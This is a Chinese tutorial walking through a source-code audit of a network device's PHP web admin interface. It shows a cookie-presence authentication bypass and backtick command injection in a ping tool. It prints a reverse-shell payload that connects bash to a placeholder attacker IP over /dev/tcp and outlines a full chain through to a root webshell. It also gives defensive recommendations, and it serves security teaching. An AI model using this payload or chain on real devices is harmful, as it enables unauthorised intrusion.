小试牛刀-某网络设备源码审计
字数 1331 2025-08-12 11:34:13
网络设备源码审计实战教学文档
1. 审计目标与背景
本次审计目标是一个网络设备的Web管理界面源码,采用PHP编写,具有典型的网络设备管理功能。
关键特征:
- 采用传统PHP架构,非MVC模式
- 代码结构简单,直接映射URL到PHP文件
- 主要功能集中在www目录下
- 典型的网络设备管理功能(如ping等工具)
2. 代码结构分析
目录结构
www/
├── login.php # 登录入口
├── admin/ # 后台功能目录
├── includes/ # 公共包含文件
│ ├── auth.inc # 认证相关函数
│ └── functions.inc # 通用功能函数
└── www-tools/ # 网络工具功能目录
代码特点
- URL直接对应PHP文件名(如访问
tool.php即执行tool.php) - 缺乏现代框架结构,安全性依赖开发者自行实现
- 后台功能普遍包含
auth.inc和functions.inc文件
3. 认证机制审计
3.1 认证流程分析
发现所有后台功能点都包含以下两个文件:
require_once('includes/auth.inc');
require_once('includes/functions.inc');
3.2 认证漏洞1:302跳转信息泄露
checkLogin函数存在逻辑问题:
- 即使返回302跳转,攻击者仍可获取后台功能信息
- 虽然不能执行功能,但暴露了后台数据结构
3.3 认证漏洞2:时间戳鉴权
发现严重认证缺陷:
// 伪代码示例
if (isset($_COOKIE['auth_timestamp'])) {
// 仅检查cookie是否存在而不验证内容
$is_logged_in = true;
}
攻击方法:
- 从同类设备获取任意有效cookie
- 只需修改时间戳字段即可绕过认证
- 结合弱口令可轻松获取初始访问权限
4. 命令注入漏洞审计
4.1 漏洞定位
通过搜索"ping"等关键词定位到www-tools目录下的网络工具功能。
4.2 过滤机制分析
- 仅前端过滤,后端无有效防护
- 部分符号被过滤(如
|,;),但反引号`未被过滤
4.3 漏洞利用
直接使用反引号执行命令:
`bash -c 'exec bash -i &>/dev/tcp/攻击者IP/端口 <&1'`
4.4 权限提升
- Web服务通常以www-data运行
- 自动安装环境下web目录可能为root权限
- 可通过常规提权技术获取root权限
5. 完整攻击链
- 信息收集:通过302响应获取后台结构信息
- 认证绕过:伪造或窃取cookie头绕过登录
- 命令注入:在www-tools功能点注入反向shell
- 权限提升:从www-data提权至root
- 持久化:写入webshell维持访问
6. 审计方法论总结
6.1 审计切入点
- 认证机制(登录、会话管理)
- 包含文件(如auth.inc)
- 高风险功能(命令执行、文件操作)
- 过滤机制(前后端验证)
6.2 网络设备审计特点
- 通常采用简单直接的代码结构
- 安全机制实现不完善
- 包含大量系统交互功能
- 是初学审计的理想目标
6.3 工具使用建议
- 使用binwalk分析固件提取源码
- 代码搜索工具(如grep)快速定位关键函数
- 关注包含文件和高风险函数(system, exec等)
7. 防御建议
-
认证机制:
- 实现完整的会话验证
- 使用不可预测的令牌
- 避免依赖单一因素(如时间戳)
-
输入过滤:
- 前后端双重验证
- 使用白名单而非黑名单
- 对特殊字符严格过滤
-
命令执行:
- 避免直接调用系统命令
- 使用专用API替代命令行工具
- 如需执行命令,严格限制参数
-
架构改进:
- 采用现代框架(如MVC)
- 实现权限分离
- 最小化Web服务权限
8. 学习资源建议
- PHP安全编程指南
- Web应用安全测试方法论(如OWASP测试指南)
- 常见网络设备固件分析工具(binwalk等)
- 权限提升技术研究
通过本案例,初学者可以学习到从信息收集到完整利用的完整审计流程,特别适合作为源码审计的入门实践。